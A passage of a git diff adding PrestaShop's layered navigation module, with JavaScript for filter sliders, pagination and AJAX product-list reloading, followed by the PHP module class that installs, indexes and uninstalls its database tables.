$(it).parent().find('.hide-action.more').hide(); + } +} + +function addSlider(type, data, unit, format) +{ + sliderList.push({ + type: type, + data: data, + unit: unit, + format: format + }); +} + +function initSliders() +{ + $(sliderList).each(function(i, slider){ + $('#layered_'+slider['type']+'_slider').slider(slider['data']); + + var from = ''; + var to = ''; + switch (slider['format']) + { + case 1: + case 2: + case 3: + case 4: + from = blocklayeredFormatCurrency($('#layered_'+slider['type']+'_slider').slider('values', 0), slider['format'], slider['unit']); + to = blocklayeredFormatCurrency($('#layered_'+slider['type']+'_slider').slider('values', 1), slider['format'], slider['unit']); + break; + case 5: + from = $('#layered_'+slider['type']+'_slider').slider('values', 0)+slider['unit'] + to = $('#layered_'+slider['type']+'_slider').slider('values', 1)+slider['unit']; + break; + } + $('#layered_'+slider['type']+'_range').html(from+' - '+to); + }); +} + +function initLayered() +{ + initSliders(); + initLocationChange(); + updateProductUrl(); + if (window.location.href.split('#').length == 2 && window.location.href.split('#')[1] != '') + { + var params = window.location.href.split('#')[1]; + reloadContent('&selected_filters='+params); + } +} + +function paginationButton() { + $('#pagination a').not(':hidden').each(function () { + if ($(this).attr('href').search('&p=') == -1) { + var page = 1; + } + else { + var page = $(this).attr('href').replace(/^.*&p=(\d+).*$/, '$1'); + } + var location = window.location.href.replace(/#.*$/, ''); + $(this).attr('href', location+current_friendly_url.replace(/\/page-(\d+)/, '')+'/page-'+page); + }); + $('#pagination li').not('.current, .disabled').each(function () { + var nbPage = 0; + if ($(this).attr('id') == 'pagination_next') + nbPage = parseInt($('#pagination li.current').children().html())+ 1; + else if ($(this).attr('id') == 'pagination_previous') + nbPage = parseInt($('#pagination li.current').children().html())- 1; + + $(this).children().click(function () { + if (nbPage == 0) + p = parseInt($(this).html()) + parseInt(nbPage); + else + p = nbPage; + p = '&p='+ p; + reloadContent(p); + nbPage = 0; + return false; + }); + }); +} + +function cancelFilter() +{ + $('#enabled_filters a').live('click', function(e) + { + if ($(this).attr('rel').search(/_slider$/) > 0) + { + if ($('#'+$(this).attr('rel')).length) + { + $('#'+$(this).attr('rel')).slider('values' , 0, $('#'+$(this).attr('rel')).slider('option' , 'min' )); + $('#'+$(this).attr('rel')).slider('values' , 1, $('#'+$(this).attr('rel')).slider('option' , 'max' )); + $('#'+$(this).attr('rel')).slider('option', 'slide')(0,{values:[$('#'+$(this).attr('rel')).slider( 'option' , 'min' ), $('#'+$(this).attr('rel')).slider( 'option' , 'max' )]}); + } + else if($('#'+$(this).attr('rel').replace(/_slider$/, '_range_min')).length) + { + $('#'+$(this).attr('rel').replace(/_slider$/, '_range_min')).val($('#'+$(this).attr('rel').replace(/_slider$/, '_range_min')).attr('limitValue')); + $('#'+$(this).attr('rel').replace(/_slider$/, '_range_max')).val($('#'+$(this).attr('rel').replace(/_slider$/, '_range_max')).attr('limitValue')); + } + } + else + { + if ($('option#'+$(this).attr('rel')).length) + { + $('#'+$(this).attr('rel')).parent().val(''); + } + else + { + $('#'+$(this).attr('rel')).attr('checked', false); + $('.'+$(this).attr('rel')).attr('checked', false); + $('#layered_form input[type=hidden][name='+$(this).attr('rel')+']').remove(); + } + } + reloadContent(); + e.preventDefault(); + }); +} + +function openCloseFilter() +{ + $('#layered_form span.layered_close a').live('click', function(e) + { + if ($(this).html() == '<') + { + $('#'+$(this).attr('rel')).show(); + $(this).html('v'); + $(this).parent().removeClass('closed'); + } + else + { + $('#'+$(this).attr('rel')).hide(); + $(this).html('<'); + $(this).parent().addClass('closed'); + } + + e.preventDefault(); + }); +} + +function stopAjaxQuery() { + if (typeof(ajaxQueries) == 'undefined') + ajaxQueries = new Array(); + for(i = 0; i < ajaxQueries.length; i++) + ajaxQueries[i].abort(); + ajaxQueries = new Array(); +} + +function reloadContent(params_plus) +{ + stopAjaxQuery(); + + if (!ajaxLoaderOn) + { + $('#product_list').prepend($('#layered_ajax_loader').html()); + $('#product_list').css('opacity', '0.7'); + ajaxLoaderOn = 1; + } + + data = $('#layered_form').serialize(); + $('.layered_slider').each( function () { + var sliderStart = $(this).slider('values', 0); + var sliderStop = $(this).slider('values', 1); + if (typeof(sliderStart) == 'number' && typeof(sliderStop) == 'number') + data += '&'+$(this).attr('id')+'='+sliderStart+'_'+sliderStop; + }); + + $(['price', 'weight']).each(function(it, sliderType) + { + if ($('#layered_'+sliderType+'_range_min').length) + { + data += '&layered_'+sliderType+'_slider='+$('#layered_'+sliderType+'_range_min').val()+'_'+$('#layered_'+sliderType+'_range_max').val(); + } + }); + + $('#layered_form .select option').each( function () { + if($(this).attr('id') && $(this).parent().val() == $(this).val()) + { + data += '&'+$(this).attr('id') + '=' + $(this).val(); + } + }); + + if ($('.selectProductSort').length && $('.selectProductSort').val()) + { + if ($('.selectProductSort').val().search(/orderby=/) > 0) + { + // Old ordering working + var splitData = [ + $('.selectProductSort').val().match(/orderby=(\w*)/)[1], + $('.selectProductSort').val().match(/orderway=(\w*)/)[1] + ]; + } + else + { + // New working for default theme 1.4 and theme 1.5 + var splitData = $('.selectProductSort').val().split(':'); + } + data += '&orderby='+splitData[0]+'&orderway='+splitData[1]; + } + if ($('.nb_item').length) + { + data += '&n='+$('.nb_item').val(); + } + + var slideUp = true; + if (params_plus == undefined) + { + params_plus = ''; + slideUp = false; + } + + // Get nb items per page + var n = ''; + $('#pagination #nb_item').children().each(function(it, option) { + if (option.selected) + n = '&n='+option.value; + }); + + ajaxQuery = $.ajax( + { + type: 'GET', + url: baseDir + 'modules/blocklayered/blocklayered-ajax.php', + data: data+params_plus+n, + dataType: 'json', + cache: false, // @todo see a way to use cache and to add a timestamps parameter to refresh cache each 10 minutes for example + success: function(result) + { + $('#layered_block_left').replaceWith(utf8_decode(result.filtersBlock)); + + $('.category-product-count').html(result.categoryCount); + + if (result.productList) + $('#product_list').replaceWith(utf8_decode(result.productList)); + else + $('#product_list').html(''); + + $('#product_list').css('opacity', '1'); + if ($.browser.msie) // Fix bug with IE8 and aliasing + $('#product_list').css('filter', ''); + + if (result.pagination.search(/[^\s]/) >= 0) { + if ($(result.pagination).find('ul.pagination').length) + { + $('div#pagination').show(); + $('ul.pagination').each(function () { + $(this).replaceWith($(result.pagination).find('ul.pagination')); + }); + } + else if (!$('ul.pagination').length) + { + $('div#pagination').show(); + $('div#pagination').each(function () { + $(this).html($(result.pagination)); + }); + } + else + { + $('ul.pagination').html(''); + $('div#pagination').hide(); + } + } + else + { + $('ul.pagination').html(''); + $('div#pagination').hide(); + } + + paginationButton(); + ajaxLoaderOn = 0; + + // On submiting nb items form, relaod with the good nb of items + $('#pagination form').submit(function() { + val = $('#pagination #nb_item').val(); + $('#pagination #nb_item').children().each(function(it, option) { + if (option.value == val) + $(option).attr('selected', true); + else + $(option).removeAttr('selected'); + }); + // Reload products and pagination + reloadContent(); + return false; + }); + if (typeof(ajaxCart) != "undefined") + ajaxCart.overrideButtonsInThePage(); + + if (typeof(reloadProductComparison) == 'function') + reloadProductComparison(); + initSliders(); + + // Currente page url + if (typeof(current_friendly_url) == 'undefined') + current_friendly_url = '#'; + + // Get all sliders value + $(['price', 'weight']).each(function(it, sliderType) + { + if ($('#layered_'+sliderType+'_slider').length) + { + // Check if slider is enable & if slider is used + if(typeof($('#layered_'+sliderType+'_slider').slider('values', 0)) != 'object') + { + if ($('#layered_'+sliderType+'_slider').slider('values', 0) != $('#layered_'+sliderType+'_slider').slider('option' , 'min') + || $('#layered_'+sliderType+'_slider').slider('values', 1) != $('#layered_'+sliderType+'_slider').slider('option' , 'max')) + current_friendly_url += '/'+sliderType+'-'+$('#layered_'+sliderType+'_slider').slider('values', 0)+'-'+$('#layered_'+sliderType+'_slider').slider('values', 1) + } + } + else if ($('#layered_'+sliderType+'_range_min').length) + { + current_friendly_url += '/'+sliderType+'-'+$('#layered_'+sliderType+'_range_min').val()+'-'+$('#layered_'+sliderType+'_range_max').val(); + } + }); + if (current_friendly_url == '#') + current_friendly_url = '#/'; + window.location = current_friendly_url; + lockLocationChecking = true; + + if(slideUp) + $.scrollTo('#product_list', 400); + updateProductUrl(); + + $('.hide-action').each(function() { + hideFilterValueAction(this); + }); + } + }); + ajaxQueries.push(ajaxQuery); +} + +function initLocationChange(func, time) +{ + if(!time) time = 500; + var current_friendly_url = getUrlParams(); + setInterval(function() + { + if(getUrlParams() != current_friendly_url && !lockLocationChecking) + { + // Don't reload page if current_friendly_url and real url match + if (current_friendly_url.replace(/^#(\/)?/, '') == getUrlParams().replace(/^#(\/)?/, '')) + return; + + lockLocationChecking = true; + reloadContent('&selected_filters='+getUrlParams().replace(/^#/, '')); + } + else { + lockLocationChecking = false; + current_friendly_url = getUrlParams(); + } + }, time); +} + +function getUrlParams() +{ + var params = current_friendly_url; + if(window.location.href.split('#').length == 2 && window.location.href.split('#')[1] != '') + params = '#'+window.location.href.split('#')[1]; + return params; +} + +function updateProductUrl() +{ + // Adding the filters to URL product + if (typeof(param_product_url) != 'undefined') { + $.each($('ul#product_list li.ajax_block_product .product_img_link,'+ + 'ul#product_list li.ajax_block_product h3 a,'+ + 'ul#product_list li.ajax_block_product .product_desc a,'+ + 'ul#product_list li.ajax_block_product .lnk_view'), function() { + $(this).attr('href', $(this).attr('href') + param_product_url); + }); + } +} + + +/** + * Copy of the php function utf8_decode() + */ +function utf8_decode (utfstr) { + var res = ''; + for (var i = 0; i < utfstr.length;) { + var c = utfstr.charCodeAt(i); + + if (c < 128) + { + res += String.fromCharCode(c); + i++; + } + else if((c > 191) && (c < 224)) + { + var c1 = utfstr.charCodeAt(i+1); + res += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); + i += 2; + } + else + { + var c1 = utfstr.charCodeAt(i+1); + var c2 = utfstr.charCodeAt(i+2); + res += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); + i += 3; + } + } + return res; +} + + +/** + * Return a formatted price + * Copy from tools.js + */ +function blocklayeredFormatCurrency(price, currencyFormat, currencySign, currencyBlank) +{ + // if you modified this function, don't forget to modify the PHP function displayPrice (in the Tools.php class) + blank = ''; + price = parseFloat(price.toFixed(6)); + price = ps_round(price, priceDisplayPrecision); + if (currencyBlank > 0) + blank = ' '; + if (currencyFormat == 1) + return currencySign + blank + blocklayeredFormatNumber(price, priceDisplayPrecision, ',', '.'); + if (currencyFormat == 2) + return (blocklayeredFormatNumber(price, priceDisplayPrecision, ' ', ',') + blank + currencySign); + if (currencyFormat == 3) + return (currencySign + blank + blocklayeredFormatNumber(price, priceDisplayPrecision, '.', ',')); + if (currencyFormat == 4) + return (blocklayeredFormatNumber(price, priceDisplayPrecision, ',', '.') + blank + currencySign); + return price; +} + + +/** + * Return a formatted number + * Copy from tools.js + */ +function blocklayeredFormatNumber(value, numberOfDecimal, thousenSeparator, virgule) +{ + value = value.toFixed(numberOfDecimal); + var val_string = value+''; + var tmp = val_string.split('.'); + var abs_val_string = (tmp.length == 2) ? tmp[0] : val_string; + var deci_string = ('0.' + (tmp.length == 2 ? tmp[1] : 0)).substr(2); + var nb = abs_val_string.length; + + for (var i = 1 ; i < 4; i++) + if (value >= Math.pow(10, (3 * i))) + abs_val_string = abs_val_string.substring(0, nb - (3 * i)) + thousenSeparator + abs_val_string.substring(nb - (3 * i)); + + if (parseInt(numberOfDecimal) == 0) + return abs_val_string; + return abs_val_string + virgule + (deci_string > 0 ? deci_string : '00'); +} \ No newline at end of file diff --git a/modules/blocklayered/blocklayered.php b/modules/blocklayered/blocklayered.php new file mode 100755 index 0000000..f88098e --- /dev/null +++ b/modules/blocklayered/blocklayered.php @@ -0,0 +1,4228 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockLayered extends Module +{ + private $products; + private $nbr_products; + + private $page = 1; + + public function __construct() + { + $this->name = 'blocklayered'; + $this->tab = 'front_office_features'; + $this->version = '1.8.9'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Layered navigation block'); + $this->description = $this->l('Displays a block with layered navigation filters.'); + + if ((int)Tools::getValue('p')) + $this->page = (int)Tools::getValue('p'); + } + + public function install() + { + if (parent::install() && $this->registerHook('leftColumn') && $this->registerHook('header') && $this->registerHook('footer') + && $this->registerHook('categoryAddition') && $this->registerHook('categoryUpdate') && $this->registerHook('attributeGroupForm') + && $this->registerHook('afterSaveAttributeGroup') && $this->registerHook('afterDeleteAttributeGroup') && $this->registerHook('featureForm') + && $this->registerHook('afterDeleteFeature') && $this->registerHook('afterSaveFeature') && $this->registerHook('categoryDeletion') + && $this->registerHook('afterSaveProduct') && $this->registerHook('productListAssign') && $this->registerHook('postProcessAttributeGroup') + && $this->registerHook('postProcessFeature') && $this->registerHook('featureValueForm') && $this->registerHook('postProcessFeatureValue') + && $this->registerHook('afterDeleteFeatureValue') && $this->registerHook('afterSaveFeatureValue') && $this->registerHook('attributeForm') + && $this->registerHook('postProcessAttribute') && $this->registerHook('afterDeleteAttribute') && $this->registerHook('afterSaveAttribute')) + { + Configuration::updateValue('PS_LAYERED_HIDE_0_VALUES', 1); + Configuration::updateValue('PS_LAYERED_SHOW_QTIES', 1); + Configuration::updateValue('PS_LAYERED_FULL_TREE', 1); + Configuration::updateValue('PS_LAYERED_FILTER_PRICE_USETAX', 1); + Configuration::updateValue('PS_LAYERED_FILTER_CATEGORY_DEPTH', 1); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_QTY', 0); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_CDT', 0); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_MNF', 0); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_CAT', 0); + + $this->rebuildLayeredStructure(); + + $products_count = Db::getInstance()->getValue('SELECT COUNT(*) FROM `'._DB_PREFIX_.'product`'); + + if ($products_count < 20000) // Lock template filter creation if too many products + $this->rebuildLayeredCache(); + self::installPriceIndexTable(); + $this->installFriendlyUrlTable(); + $this->installIndexableAttributeTable(); + $this->installProductAttributeTable(); + + if ($products_count < 5000) // Lock indexation if too many products + { + $this->indexUrl(); + $this->indexAttribute(); + self::fullPricesIndexProcess(); + } + + return true; + } + else + { + // Installation failed (or hook registration) => uninstall the module + $this->uninstall(); + return false; + } + } + + public function uninstall() + { + /* Delete all configurations */ + Configuration::deleteByName('PS_LAYERED_HIDE_0_VALUES'); + Configuration::deleteByName('PS_LAYERED_SHOW_QTIES'); + Configuration::deleteByName('PS_LAYERED_FULL_TREE'); + Configuration::deleteByName('PS_LAYERED_INDEXED'); + Configuration::deleteByName('PS_LAYERED_FILTER_PRICE_USETAX'); + Configuration::deleteByName('PS_LAYERED_FILTER_CATEGORY_DEPTH'); + Configuration::deleteByName('PS_LAYERED_FILTER_INDEX_QTY'); + Configuration::deleteByName('PS_LAYERED_FILTER_INDEX_CDT'); + Configuration::deleteByName('PS_LAYERED_FILTER_INDEX_MNF'); + Configuration::deleteByName('PS_LAYERED_FILTER_INDEX_CAT'); + + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_price_index'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_friendly_url'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_indexable_attribute_group'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_indexable_feature'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_indexable_feature_lang_value'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_category'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_filter'); + Db::getInstance()->Execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_filter_shop'); + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_product_attribute'); + return parent::uninstall(); + } + + private static function installPriceIndexTable() + { + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_price_index`'); + + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_price_index` ( + `id_product` INT NOT NULL, + `id_currency` INT NOT NULL, + `id_shop` INT NOT NULL, + `price_min` INT NOT NULL, + `price_max` INT NOT NULL, + PRIMARY KEY (`id_product`, `id_currency`, `id_shop`), + INDEX `id_currency` (`id_currency`), + INDEX `price_min` (`price_min`), INDEX `price_max` (`price_max`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + } + + private function installFriendlyUrlTable() + { + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_friendly_url`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_friendly_url` ( + `id_layered_friendly_url` INT NOT NULL AUTO_INCREMENT, + `url_key` varchar(32) NOT NULL, + `data` varchar(200) NOT NULL, + `id_lang` INT NOT NULL, + PRIMARY KEY (`id_layered_friendly_url`), + INDEX `id_lang` (`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + Db::getInstance()->execute('CREATE INDEX `url_key` ON `'._DB_PREFIX_.'layered_friendly_url`(url_key(5))'); + } + + private function installIndexableAttributeTable() + { + // Attributes Groups + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_attribute_group`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_attribute_group` ( + `id_attribute_group` INT NOT NULL, + `indexable` BOOL NOT NULL DEFAULT 0, + PRIMARY KEY (`id_attribute_group`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'layered_indexable_attribute_group` + SELECT id_attribute_group, 1 FROM `'._DB_PREFIX_.'attribute_group`'); + + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_attribute_group_lang_value`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_attribute_group_lang_value` ( + `id_attribute_group` INT NOT NULL, + `id_lang` INT NOT NULL, + `url_name` VARCHAR(20), + `meta_title` VARCHAR(20), + PRIMARY KEY (`id_attribute_group`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + // Attributes + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_attribute_lang_value`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_attribute_lang_value` ( + `id_attribute` INT NOT NULL, + `id_lang` INT NOT NULL, + `url_name` VARCHAR(20), + `meta_title` VARCHAR(20), + PRIMARY KEY (`id_attribute`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + + // Features + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_feature`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_feature` ( + `id_feature` INT NOT NULL, + `indexable` BOOL NOT NULL DEFAULT 0, + PRIMARY KEY (`id_feature`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'layered_indexable_feature` + SELECT id_feature, 1 FROM `'._DB_PREFIX_.'feature`'); + + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_feature_lang_value`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_feature_lang_value` ( + `id_feature` INT NOT NULL, + `id_lang` INT NOT NULL, + `url_name` VARCHAR(20) NOT NULL, + `meta_title` VARCHAR(20), + PRIMARY KEY (`id_feature`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + // Features values + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_indexable_feature_value_lang_value`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_indexable_feature_value_lang_value` ( + `id_feature_value` INT NOT NULL, + `id_lang` INT NOT NULL, + `url_name` VARCHAR(20), + `meta_title` VARCHAR(20), + PRIMARY KEY (`id_feature_value`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + } + + /** + * + * create table product attribute + */ + public function installProductAttributeTable() + { + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'layered_product_attribute`'); + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'layered_product_attribute` ( + `id_attribute` int(10) unsigned NOT NULL, + `id_product` int(10) unsigned NOT NULL, + `id_attribute_group` int(10) unsigned NOT NULL DEFAULT "0", + `id_shop` int(10) unsigned NOT NULL DEFAULT "1", + KEY `id_attribute` (`id_attribute`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + } + + /** + * + * Generate data product attribute + */ + public function indexAttribute($id_product = null) + { + if (is_null($id_product)) + Db::getInstance()->execute('TRUNCATE '._DB_PREFIX_.'layered_product_attribute'); + else + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_product_attribute WHERE id_product = '.(int)$id_product); + + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'layered_product_attribute` (`id_attribute`, `id_product`, `id_attribute_group`, `id_shop`) + SELECT pac.id_attribute, pa.id_product, ag.id_attribute_group, '.(version_compare(_PS_VERSION_,'1.5','>') ? 'product_attribute_shop.`id_shop`' : '1').' + FROM '._DB_PREFIX_.'product_attribute pa + '.(version_compare(_PS_VERSION_,'1.5','>') ? Shop::addSqlAssociation('product_attribute', 'pa') : '').' + INNER JOIN '._DB_PREFIX_.'product_attribute_combination pac ON pac.id_product_attribute = pa.id_product_attribute + INNER JOIN '._DB_PREFIX_.'attribute a ON (a.id_attribute = pac.id_attribute) + INNER JOIN '._DB_PREFIX_.'attribute_group ag ON ag.id_attribute_group = a.id_attribute_group + '.(is_null($id_product) ? '' : 'AND pa.id_product = '.(int)$id_product).' + GROUP BY a.id_attribute, pa.id_product '.(version_compare(_PS_VERSION_,'1.5','>') ? ', product_attribute_shop.`id_shop`' : '')); + + return 1; + } + /* + * Url indexation + */ + public function indexUrl($ajax = false, $truncate = true) + { + if ($truncate) + Db::getInstance()->execute('TRUNCATE '._DB_PREFIX_.'layered_friendly_url'); + + $attribute_values_by_lang = array(); + $filters = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT lc.*, id_lang, name, link_rewrite, cl.id_category + FROM '._DB_PREFIX_.'layered_category lc + INNER JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = lc.id_category AND lc.id_category <> 1 ) + GROUP BY type, id_value, id_lang'); + if (!$filters) + return; + + foreach ($filters as $filter) + switch ($filter['type']) + { + case 'id_attribute_group': + $attributes = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT agl.public_name name, a.id_attribute_group id_name, al.name value, a.id_attribute id_value, al.id_lang, + liagl.url_name name_url_name, lial.url_name value_url_name + FROM '._DB_PREFIX_.'attribute_group ag + INNER JOIN '._DB_PREFIX_.'attribute_group_lang agl ON (agl.id_attribute_group = ag.id_attribute_group) + INNER JOIN '._DB_PREFIX_.'attribute a ON (a.id_attribute_group = ag.id_attribute_group) + INNER JOIN '._DB_PREFIX_.'attribute_lang al ON (al.id_attribute = a.id_attribute) + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_group liag ON (liag.id_attribute_group = a.id_attribute_group) + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value liagl + ON (liagl.id_attribute_group = ag.id_attribute_group AND liagl.id_lang = '.(int)$filter['id_lang'].') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_lang_value lial + ON (lial.id_attribute = a.id_attribute AND lial.id_lang = '.(int)$filter['id_lang'].') + WHERE a.id_attribute_group = '.(int)$filter['id_value'].' AND agl.id_lang = al.id_lang AND agl.id_lang = '.(int)$filter['id_lang']); + foreach ($attributes as $attribute) + { + if (!isset($attribute_values_by_lang[$attribute['id_lang']])) + $attribute_values_by_lang[$attribute['id_lang']] = array(); + if (!isset($attribute_values_by_lang[$attribute['id_lang']]['c'.$attribute['id_name']])) + $attribute_values_by_lang[$attribute['id_lang']]['c'.$attribute['id_name']] = array(); + $attribute_values_by_lang[$attribute['id_lang']]['c'.$attribute['id_name']][] = array( + 'name' => (!empty($attribute['name_url_name']) ? $attribute['name_url_name'] : $attribute['name']), + 'id_name' => 'c'.$attribute['id_name'], + 'value' => (!empty($attribute['value_url_name']) ? $attribute['value_url_name'] : $attribute['value']), + 'id_value' => $attribute['id_name'].'_'.$attribute['id_value'], + 'id_id_value' => $attribute['id_value'], + 'category_name' => $filter['link_rewrite'], + 'type' => $filter['type']); + } + break; + + case 'id_feature': + $features = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT fl.name name, fl.id_feature id_name, fvl.id_feature_value id_value, fvl.value value, fl.id_lang, fl.id_lang, + lifl.url_name name_url_name, lifvl.url_name value_url_name + FROM '._DB_PREFIX_.'feature_lang fl + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature lif ON (lif.id_feature = fl.id_feature) + INNER JOIN '._DB_PREFIX_.'feature_value fv ON (fv.id_feature = fl.id_feature) + INNER JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fvl.id_feature_value = fv.id_feature_value) + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_lang_value lifl + ON (lifl.id_feature = fl.id_feature AND lifl.id_lang = '.(int)$filter['id_lang'].') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_value_lang_value lifvl + ON (lifvl.id_feature_value = fvl.id_feature_value AND lifvl.id_lang = '.(int)$filter['id_lang'].') + WHERE fl.id_feature = '.(int)$filter['id_value'].' AND fvl.id_lang = fl.id_lang AND fvl.id_lang = '.(int)$filter['id_lang']); + foreach ($features as $feature) + { + if (!isset($attribute_values_by_lang[$feature['id_lang']])) + $attribute_values_by_lang[$feature['id_lang']] = array(); + if (!isset($attribute_values_by_lang[$feature['id_lang']]['f'.$feature['id_name']])) + $attribute_values_by_lang[$feature['id_lang']]['f'.$feature['id_name']] = array(); + $attribute_values_by_lang[$feature['id_lang']]['f'.$feature['id_name']][] = array( + 'name' => (!empty($feature['name_url_name']) ? $feature['name_url_name'] : $feature['name']), + 'id_name' => 'f'.$feature['id_name'], + 'value' => (!empty($feature['value_url_name']) ? $feature['value_url_name'] : $feature['value']), + 'id_value' => $feature['id_name'].'_'.$feature['id_value'], + 'id_id_value' => $feature['id_value'], + 'category_name' => $filter['link_rewrite'], + 'type' => $filter['type']); + } + break; + + case 'category': + $categories = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT cl.name, cl.id_lang, c.id_category + FROM '._DB_PREFIX_.'category c + INNER JOIN '._DB_PREFIX_.'category_lang cl ON (c.id_category = cl.id_category) + WHERE cl.id_lang = '.(int)$filter['id_lang']); + foreach ($categories as $category) + { + if (!isset($attribute_values_by_lang[$category['id_lang']])) + $attribute_values_by_lang[$category['id_lang']] = array(); + if (!isset($attribute_values_by_lang[$category['id_lang']]['category'])) + $attribute_values_by_lang[$category['id_lang']]['category'] = array(); + $attribute_values_by_lang[$category['id_lang']]['category'][] = array('name' => $this->translateWord('Categories', $category['id_lang']), + 'id_name' => null, 'value' => $category['name'], 'id_value' => $category['id_category'], + 'category_name' => $filter['link_rewrite'], 'type' => $filter['type']); + } + break; + + case 'manufacturer': + $manufacturers = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT m.name as name,l.id_lang as id_lang, id_manufacturer + FROM '._DB_PREFIX_.'manufacturer m , '._DB_PREFIX_.'lang l + WHERE l.id_lang = '.(int)$filter['id_lang'].' '); + + foreach ($manufacturers as $manufacturer) + { + if (!isset($attribute_values_by_lang[$manufacturer['id_lang']])) + $attribute_values_by_lang[$manufacturer['id_lang']] = array(); + if (!isset($attribute_values_by_lang[$manufacturer['id_lang']]['manufacturer'])) + $attribute_values_by_lang[$manufacturer['id_lang']]['manufacturer'] = array(); + $attribute_values_by_lang[$manufacturer['id_lang']]['manufacturer'][] = array('name' => $this->translateWord('Manufacturer', $manufacturer['id_lang']), + 'id_name' => null, 'value' => $manufacturer['name'], 'id_value' => $manufacturer['id_manufacturer'], + 'category_name' => $filter['link_rewrite'], 'type' => $filter['type']); + } + break; + + case 'quantity': + $avaibility_list = array( + $this->translateWord('Not available', (int)$filter['id_lang']), + $this->translateWord('In stock', (int)$filter['id_lang']) + ); + foreach ($avaibility_list as $key => $quantity) + $attribute_values_by_lang[$filter['id_lang']]['quantity'][] = array('name' => $this->translateWord('Availability', (int)$filter['id_lang']), + 'id_name' => null, 'value' => $quantity, 'id_value' => $key, 'id_id_value' => 0, + 'category_name' => $filter['link_rewrite'], 'type' => $filter['type']); + break; + + case 'condition': + $condition_list = array( + 'new' => $this->translateWord('New', (int)$filter['id_lang']), + 'used' => $this->translateWord('Used', (int)$filter['id_lang']), + 'refurbished' => $this->translateWord('Refurbished', (int)$filter['id_lang']) + ); + foreach ($condition_list as $key => $condition) + $attribute_values_by_lang[$filter['id_lang']]['condition'][] = array('name' => $this->translateWord('Condition', (int)$filter['id_lang']), + 'id_name' => null, 'value' => $condition, 'id_value' => $key, + 